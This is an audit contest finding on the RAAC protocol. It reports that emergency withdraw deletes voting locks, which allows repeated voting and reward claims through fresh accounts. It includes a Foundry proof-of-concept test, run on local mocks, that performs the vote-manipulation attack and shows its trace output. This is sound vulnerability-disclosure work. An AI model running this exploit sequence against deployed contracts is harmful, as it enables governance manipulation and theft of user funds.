Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

A malicious user can vote and Claim rewards infinitely when emergency withdraw is allowed.

Impact

High

  • Votes can be Manipulated

  • Rewards can be claimed everytime attacker uses a new account. (LOSS OF FUNDS)

Likelihood

Medium => Only when the Emergency withdraw for the users is allowed by the Admin

Description

Raac protocol has governance functionality to cast votes for the proposal by the users, which can be helpful for future updates and recommendations. Users can use Lock() in veRAACToken.sol to lock their tokens in the protocol for a fixed amount of time which will give them veRAAC tokens in return. Note that, it also creates a lock which stores basic information like amount uncloktime account . The voting power decays linearly with time. However, The problem arises when the the following function is set true by the owner

function enableEmergencyWithdraw() external onlyOwner withEmergencyDelay(EMERGENCY_WITHDRAW_ACTION) {
emergencyWithdrawDelay = block.timestamp + EMERGENCY_DELAY;
emit EmergencyWithdrawEnabled(emergencyWithdrawDelay);
}

The function allows user to withdraw the token after Emergency_delay breaking their lock. Which will mean any users with locked tokens can withdraw their tokens by the the following function

function emergencyWithdraw() external nonReentrant {
if (emergencyWithdrawDelay == 0 || block.timestamp < emergencyWithdrawDelay)
revert EmergencyWithdrawNotEnabled();
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
if (userLock.amount == 0) revert NoTokensLocked();
uint256 amount = userLock.amount;
uint256 currentPower = balanceOf(msg.sender);
delete _lockState.locks[msg.sender];//Notice this
delete _votingState.points[msg.sender];//Notice this as well
_burn(msg.sender, currentPower);
raacToken.safeTransfer(msg.sender, amount);
emit EmergencyWithdrawn(msg.sender, amount);
}

This deletes the Locks created when the user deposited the RAACToken.
This means a malicious user can VOTE and CLAIM rewards without even waiting the whole timelock duration like other users.
-> Consider the following scenario

  1. The malicious user sees that the admins has enabled emergency withdraw option

  2. He locks his RAACToken in the contract by calling the Lock() with the amount and Almost maxing out the duration (Because the Voting power is Directly dependent on the duration of locked token like )

  3. Now, The malicious user can cast vote because he has some Voting power with the following function in Governance.sol

function castVote(uint256 proposalId, bool support) external override returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
if (block.timestamp < proposal.startTime) {
revert VotingNotStarted(proposalId, proposal.startTime, block.timestamp);
}
if (block.timestamp > proposal.endTime) {
revert VotingEnded(proposalId, proposal.endTime, block.timestamp);
}
ProposalVote storage proposalVote = _proposalVotes[proposalId];
if (proposalVote.hasVoted[msg.sender]) {
revert AlreadyVoted(proposalId, msg.sender, block.timestamp);
}
@> uint256 weight = _veToken.getVotingPower(msg.sender);
if (weight == 0) {
revert NoVotingPower(msg.sender, block.number);
}
proposalVote.hasVoted[msg.sender] = true;
if (support) {
proposalVote.forVotes += weight;
} else {
proposalVote.againstVotes += weight;
}
emit VoteCast(msg.sender, proposalId, support, weight, "");
return weight;
}

Now rather than waiting the whole time to get his funds out and get rewards, This would would allow malicious actors to just wait "EMERGENCY_DELAY" after everytime to vote and depending on the "VOTING_PERIOD" set by the owner the attacker can VOTE multiple times for one.

  • Also the attack CAN redeem rewards from FeeCollector::claimRewards every time he locks the funds with a new account resulting LOSS OF FUNDS.

Proof of code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/tokens/veRAACToken.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/governance/proposals/Governance.sol";
import "../contracts/core/governance/proposals/TimelockController.sol";
import "../contracts/interfaces/core/governance/proposals/IGovernance.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC Token", "RAAC") {
_mint(msg.sender, 10000000000e18);
}
}
contract veRAACTokenTest is Test {
veRAACToken public veToken;
MockRAACToken public raacToken;
Governance public governanceContract;
TimelockController public timelockController;
address public admin;
address public attacker;
address public attackerAccount2;
event EmergencyWithdrawEnabled(uint256 delay);
event EmergencyActionScheduled(bytes32 indexed actionId, uint256 executionTime);
event LockCreated(address indexed user, uint256 amount, uint256 unlockTime);
event EmergencyWithdrawn(address indexed user, uint256 amount);
uint256 constant EMERGENCY_DELAY = 3 days;
uint256 constant MIN_LOCK_DURATION = 365 days;
bytes32 constant EMERGENCY_WITHDRAW_ACTION = keccak256("enableEmergencyWithdraw");
uint256 public constant MAX_LOCK_DURATION = 1460 days;
function setUp() public {
// Setup accounts
admin = address(this);
attacker = makeAddr("attacker");
attackerAccount2 = makeAddr("Attackeraccount2");
// Deploy contracts
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
// Deploy TimelockController
address[] memory proposers = new address[](1);
proposers[0] = admin;
address[] memory executors = new address[](1);
executors[0] = admin;
timelockController = new TimelockController(2 days, proposers, executors, admin);
// Deploy Governance contract
governanceContract = new Governance(address(veToken), address(timelockController));
// Transfer tokens to admin and attacker
raacToken.transfer(attacker, 1000e18); // Attacker gets 1000 RAAC tokens
raacToken.transfer(admin, 200_000e18); // Admin gets 200k RAAC tokens
}
function testVoteManipulationAttack() public {
// Step 1: Admin schedules emergency withdrawal
vm.startPrank(admin);
veToken.scheduleEmergencyAction(EMERGENCY_WITHDRAW_ACTION);
vm.stopPrank();
// Step 2: Wait for emergency delay to pass
vm.warp(block.timestamp + EMERGENCY_DELAY);
// Step 3: Admin enables emergency withdrawal
vm.startPrank(admin);
veToken.enableEmergencyWithdraw();
vm.stopPrank();
// Step 4: Admin creates a governance proposal
address[] memory targets = new address[](1);
targets[0] = address(this); // Example target
uint256[] memory values = new uint256[](1);
values[0] = 0; // No ETH value
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSignature("testFunction()"); // Example call data
string memory description = "Test Proposal";
vm.startPrank(admin);
uint256 adminLockAmount = 200_000e18; // 200k RAAC tokens
raacToken.approve(address(veToken), adminLockAmount);
veToken.lock(adminLockAmount, MAX_LOCK_DURATION);
uint256 proposalId = governanceContract.propose(
targets,
values,
calldatas,
description,
IGovernance.ProposalType.ParameterChange
);
vm.stopPrank();
// Step 5: Warp to the voting period
vm.warp(governanceContract.getProposal(proposalId).startTime);
// Step 6: Attacker manipulates votes
vm.startPrank(attacker);
// Approve tokens once before locking
raacToken.approve(address(veToken), 1000e18);
// Lock tokens for the maximum duration
veToken.lock(1000e18, MAX_LOCK_DURATION);
// Vote in favor of the proposal
governanceContract.castVote(proposalId, true);
// Wait for emergency withdrawal delay to be active
vm.warp(block.timestamp + EMERGENCY_DELAY);
// Withdraw tokens using emergency withdrawal
veToken.emergencyWithdraw();
// Transfer tokens to attackerAccount2
raacToken.transfer(attackerAccount2, 1000e18);
vm.stopPrank();
// Step 7: AttackerAccount2 manipulates votes
vm.startPrank(attackerAccount2);
// Approve tokens once before locking
raacToken.approve(address(veToken), 1000e18);
// Lock tokens for the maximum duration
veToken.lock(1000e18, MAX_LOCK_DURATION);
// Vote in favor of the proposal
governanceContract.castVote(proposalId, true);
// Wait for emergency withdrawal delay to be active
vm.warp(block.timestamp + EMERGENCY_DELAY);
// Withdraw tokens using emergency withdrawal
veToken.emergencyWithdraw();
vm.stopPrank();
// Step 8: Verify the attacker's balance after the attack
uint256 attackerInitialBalance = 1000e18; // Initial balance of attacker
uint256 attackerAccount2FinalBalance = raacToken.balanceOf(attackerAccount2);
console.log("Attacker Initial Balance:", attackerInitialBalance);
console.log("AttackerAccount2 Final Balance:", attackerAccount2FinalBalance);
// Assert that the attacker's initial balance equals the final balance of attackerAccount2
assertEq(attackerInitialBalance, attackerAccount2FinalBalance, "AttackerAccount2 did not receive the correct amount of tokens");
// Step 9: Check the proposal's vote counts
(uint256 forVotes, uint256 againstVotes) = governanceContract.getVotes(proposalId);
console.log("For Votes:", forVotes);
console.log("Against Votes:", againstVotes);
// Assert that the attacker manipulated the votes multiple times
assertTrue(forVotes > 1000e18, "Attacker can use multiple accounts to manipulate votes");
}
}

Result =>

└─ ← [Return] 2000000000000000000000 [2e21], 0
├─ [0] console::log("For Votes:", 2000000000000000000000 [2e21]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Against Votes:", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertTrue(true, "Attacker can use multiple accounts to manipulate votes") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Tools Used

Manual Analysis.

Mitigation

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.